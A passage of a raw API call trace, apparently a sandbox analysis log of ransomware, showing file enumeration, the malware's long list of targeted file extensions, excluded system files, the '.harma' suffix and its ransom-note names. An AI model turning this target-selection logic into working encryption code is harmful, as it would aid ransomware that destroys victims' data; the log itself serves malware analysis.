returned -1 [0039.443] lstrlenW (lpString=".ai8") returned 4 [0039.443] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0039.443] lstrlenW (lpString=".anim") returned 5 [0039.443] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0039.443] lstrlenW (lpString=".arw") returned 4 [0039.443] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0039.443] lstrlenW (lpString=".as") returned 3 [0039.443] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0039.443] lstrlenW (lpString=".asa") returned 4 [0039.443] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0039.443] lstrlenW (lpString=".asc") returned 4 [0039.443] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0039.443] lstrlenW (lpString=".ascx") returned 5 [0039.443] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0039.443] lstrlenW (lpString=".asm") returned 4 [0039.443] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0039.444] lstrlenW (lpString=".asmx") returned 5 [0039.444] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0039.444] lstrlenW (lpString=".asp") returned 4 [0039.444] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0039.444] lstrlenW (lpString=".aspx") returned 5 [0039.444] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0039.444] lstrlenW (lpString=".asr") returned 4 [0039.444] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0039.444] lstrlenW (lpString=".asx") returned 4 [0039.444] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0039.444] lstrlenW (lpString=".avi") returned 4 [0039.444] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0039.444] lstrlenW (lpString=".avs") returned 4 [0039.444] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0039.444] lstrlenW (lpString=".backup") returned 7 [0039.444] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0039.444] lstrlenW (lpString=".bak") returned 4 [0039.444] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0039.444] lstrlenW (lpString=".bay") returned 4 [0039.444] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0039.444] lstrlenW (lpString=".bd") returned 3 [0039.444] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0039.444] lstrlenW (lpString=".bin") returned 4 [0039.444] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0039.444] lstrlenW (lpString=".bmp") returned 4 [0039.444] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0039.444] lstrlenW (lpString=".bz2") returned 4 [0039.444] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".c") returned 2 [0039.445] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0039.445] lstrlenW (lpString=".cdr") returned 4 [0039.445] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".cer") returned 4 [0039.445] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".cf") returned 3 [0039.445] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0039.445] lstrlenW (lpString=".cfc") returned 4 [0039.445] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".cfm") returned 4 [0039.445] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".cfml") returned 5 [0039.445] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0039.445] lstrlenW (lpString=".cfu") returned 4 [0039.445] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".chm") returned 4 [0039.445] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".cin") returned 4 [0039.445] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".class") returned 6 [0039.445] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0039.445] lstrlenW (lpString=".clx") returned 4 [0039.445] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".config") returned 7 [0039.445] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0039.445] lstrlenW (lpString=".cpp") returned 4 [0039.445] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".cr2") returned 4 [0039.445] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0039.445] lstrlenW (lpString=".crt") returned 4 [0039.445] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".crw") returned 4 [0039.446] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".cs") returned 3 [0039.446] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0039.446] lstrlenW (lpString=".css") returned 4 [0039.446] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".csv") returned 4 [0039.446] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".cub") returned 4 [0039.446] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".dae") returned 4 [0039.446] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".dat") returned 4 [0039.446] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".db") returned 3 [0039.446] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0039.446] lstrlenW (lpString=".dbf") returned 4 [0039.446] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".dbx") returned 4 [0039.446] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".dc3") returned 4 [0039.446] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".dcm") returned 4 [0039.446] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".dcr") returned 4 [0039.446] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".der") returned 4 [0039.446] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".dib") returned 4 [0039.446] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".dic") returned 4 [0039.446] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0039.446] lstrlenW (lpString=".dif") returned 4 [0039.447] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0039.447] lstrlenW (lpString=".divx") returned 5 [0039.447] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0039.447] lstrlenW (lpString=".djvu") returned 5 [0039.447] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0039.447] lstrlenW (lpString=".dng") returned 4 [0039.447] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0039.447] lstrlenW (lpString=".doc") returned 4 [0039.447] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0039.447] lstrlenW (lpString=".docm") returned 5 [0039.447] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0039.447] lstrlenW (lpString=".docx") returned 5 [0039.447] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0039.447] lstrlenW (lpString=".dot") returned 4 [0039.447] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0039.447] lstrlenW (lpString=".dotm") returned 5 [0039.447] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0039.447] lstrlenW (lpString=".dotx") returned 5 [0039.447] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0039.447] lstrlenW (lpString=".dpx") returned 4 [0039.447] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0039.447] lstrlenW (lpString=".dqy") returned 4 [0039.447] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0039.447] lstrlenW (lpString=".dsn") returned 4 [0039.447] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0039.447] lstrlenW (lpString=".dt") returned 3 [0039.447] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0039.447] lstrlenW (lpString=".dtd") returned 4 [0039.447] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0039.447] lstrlenW (lpString=".dwg") returned 4 [0039.447] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0039.447] lstrlenW (lpString=".dwt") returned 4 [0039.448] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0039.448] lstrlenW (lpString=".dx") returned 3 [0039.448] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0039.448] lstrlenW (lpString=".dxf") returned 4 [0039.448] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0039.448] lstrlenW (lpString=".edml") returned 5 [0039.448] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0039.448] lstrlenW (lpString=".efd") returned 4 [0039.448] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0039.448] lstrlenW (lpString=".elf") returned 4 [0039.448] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0039.448] lstrlenW (lpString=".emf") returned 4 [0039.448] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0039.448] lstrlenW (lpString=".emz") returned 4 [0039.448] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0039.448] lstrlenW (lpString=".epf") returned 4 [0039.448] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0039.448] lstrlenW (lpString=".eps") returned 4 [0039.448] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0039.448] lstrlenW (lpString=".epsf") returned 5 [0039.448] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0039.448] lstrlenW (lpString=".epsp") returned 5 [0039.448] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0039.448] lstrlenW (lpString=".erf") returned 4 [0039.449] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".exr") returned 4 [0039.449] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".f4v") returned 4 [0039.449] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".fido") returned 5 [0039.449] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0039.449] lstrlenW (lpString=".flm") returned 4 [0039.449] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".flv") returned 4 [0039.449] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".frm") returned 4 [0039.449] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".fxg") returned 4 [0039.449] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".geo") returned 4 [0039.449] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".gif") returned 4 [0039.449] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".grs") returned 4 [0039.449] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".gz") returned 3 [0039.449] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0039.449] lstrlenW (lpString=".h") returned 2 [0039.449] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0039.449] lstrlenW (lpString=".hdr") returned 4 [0039.449] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".hpp") returned 4 [0039.449] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".hta") returned 4 [0039.449] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0039.449] lstrlenW (lpString=".htc") returned 4 [0039.450] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0039.450] lstrlenW (lpString=".htm") returned 4 [0039.450] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0039.450] lstrlenW (lpString=".html") returned 5 [0039.450] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0039.450] lstrlenW (lpString=".icb") returned 4 [0039.450] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0039.450] lstrlenW (lpString=".ics") returned 4 [0039.450] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0039.450] lstrlenW (lpString=".iff") returned 4 [0039.450] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0039.450] lstrlenW (lpString=".inc") returned 4 [0039.450] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0039.450] lstrlenW (lpString=".indd") returned 5 [0039.450] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0039.450] lstrlenW (lpString=".ini") returned 4 [0039.450] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0039.450] lstrlenW (lpString="desktop.ini") returned 11 [0039.450] lstrlenW (lpString=".harma") returned 6 [0039.450] lstrcmpiW (lpString1=".harma", lpString2="op.ini") returned -1 [0039.450] lstrlenW (lpString="desktop.ini") returned 11 [0039.450] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0039.450] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0039.450] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0039.450] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0039.450] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0039.450] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0039.450] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0039.450] lstrcmpiW (lpString1="3G6885.exe", lpString2="desktop.ini") returned -1 [0039.450] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.451] FindNextFileW (in: hFindFile=0x694240, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0039.451] FindClose (in: hFindFile=0x694240 | out: hFindFile=0x694240) returned 1 [0039.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.451] FindNextFileW (in: hFindFile=0x6931f8, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0039.451] FindClose (in: hFindFile=0x6931f8 | out: hFindFile=0x6931f8) returned 1 [0039.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36d0748 | out: hHeap=0x5a0000) returned 1 [0039.451] FindNextFileW (in: hFindFile=0x6931b8, lpFindFileData=0x3a8fd00 | out: lpFindFileData=0x3a8fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0039.451] lstrlenW (lpString="C:\\Boot") returned 7 [0039.451] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0039.451] lstrlenW (lpString="Boot") returned 4 [0039.451] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0039.451] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36d0748 [0039.451] lstrlenW (lpString="C:\\Boot") returned 7 [0039.451] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x694200 [0039.452] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.452] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0039.452] lstrlenW (lpString="BCD") returned 3 [0039.452] lstrlenW (lpString=".1cd") returned 4 [0039.452] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0039.452] lstrlenW (lpString=".3ds") returned 4 [0039.452] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0039.452] lstrlenW (lpString=".3fr") returned 4 [0039.452] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0039.452] lstrlenW (lpString=".3g2") returned 4 [0039.452] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0039.452] lstrlenW (lpString=".3gp") returned 4 [0039.452] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0039.452] lstrlenW (lpString=".7z") returned 3 [0039.452] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0039.452] lstrlenW (lpString=".accda") returned 6 [0039.452] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0039.452] lstrlenW (lpString=".accdb") returned 6 [0039.452] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0039.452] lstrlenW (lpString=".accdc") returned 6 [0039.452] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0039.452] lstrlenW (lpString=".accde") returned 6 [0039.452] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0039.452] lstrlenW (lpString=".accdt") returned 6 [0039.452] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0039.452] lstrlenW (lpString=".accdw") returned 6 [0039.452] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".adb") returned 4 [0039.453] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".adp") returned 4 [0039.453] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".ai") returned 3 [0039.453] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0039.453] lstrlenW (lpString=".ai3") returned 4 [0039.453] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".ai4") returned 4 [0039.453] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".ai5") returned 4 [0039.453] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".ai6") returned 4 [0039.453] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".ai7") returned 4 [0039.453] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".ai8") returned 4 [0039.453] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".anim") returned 5 [0039.453] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".arw") returned 4 [0039.453] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".as") returned 3 [0039.453] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0039.453] lstrlenW (lpString=".asa") returned 4 [0039.453] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".asc") returned 4 [0039.453] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".ascx") returned 5 [0039.453] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0039.453] lstrlenW (lpString=".asm") returned 4 [0039.454] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".asmx") returned 5 [0039.454] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".asp") returned 4 [0039.454] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".aspx") returned 5 [0039.454] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".asr") returned 4 [0039.454] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".asx") returned 4 [0039.454] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".avi") returned 4 [0039.454] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".avs") returned 4 [0039.454] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".backup") returned 7 [0039.454] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".bak") returned 4 [0039.454] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".bay") returned 4 [0039.454] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".bd") returned 3 [0039.454] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0039.454] lstrlenW (lpString=".bin") returned 4 [0039.454] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".bmp") returned 4 [0039.454] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".bz2") returned 4 [0039.454] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0039.454] lstrlenW (lpString=".c") returned 2 [0039.454] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0039.454] lstrlenW (lpString=".cdr") returned 4 [0039.454] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".cer") returned 4 [0039.455] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".cf") returned 3 [0039.455] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0039.455] lstrlenW (lpString=".cfc") returned 4 [0039.455] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".cfm") returned 4 [0039.455] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".cfml") returned 5 [0039.455] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".cfu") returned 4 [0039.455] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".chm") returned 4 [0039.455] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".cin") returned 4 [0039.455] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".class") returned 6 [0039.455] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".clx") returned 4 [0039.455] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".config") returned 7 [0039.455] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".cpp") returned 4 [0039.455] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".cr2") returned 4 [0039.455] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".crt") returned 4 [0039.455] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0039.455] lstrlenW (lpString=".crw") returned 4 [0039.455] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".cs") returned 3 [0039.456] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0039.456] lstrlenW (lpString=".css") returned 4 [0039.456] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".csv") returned 4 [0039.456] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".cub") returned 4 [0039.456] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".dae") returned 4 [0039.456] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".dat") returned 4 [0039.456] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".db") returned 3 [0039.456] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0039.456] lstrlenW (lpString=".dbf") returned 4 [0039.456] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".dbx") returned 4 [0039.456] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".dc3") returned 4 [0039.456] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".dcm") returned 4 [0039.456] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".dcr") returned 4 [0039.456] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".der") returned 4 [0039.456] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".dib") returned 4 [0039.456] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0039.456] lstrlenW (lpString=".dic") returned 4 [0039.456] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".dif") returned 4 [0039.457] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".divx") returned 5 [0039.457] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".djvu") returned 5 [0039.457] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".dng") returned 4 [0039.457] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".doc") returned 4 [0039.457] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".docm") returned 5 [0039.457] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".docx") returned 5 [0039.457] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".dot") returned 4 [0039.457] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".dotm") returned 5 [0039.457] lstrcmpiW (lpString1=".dotm", 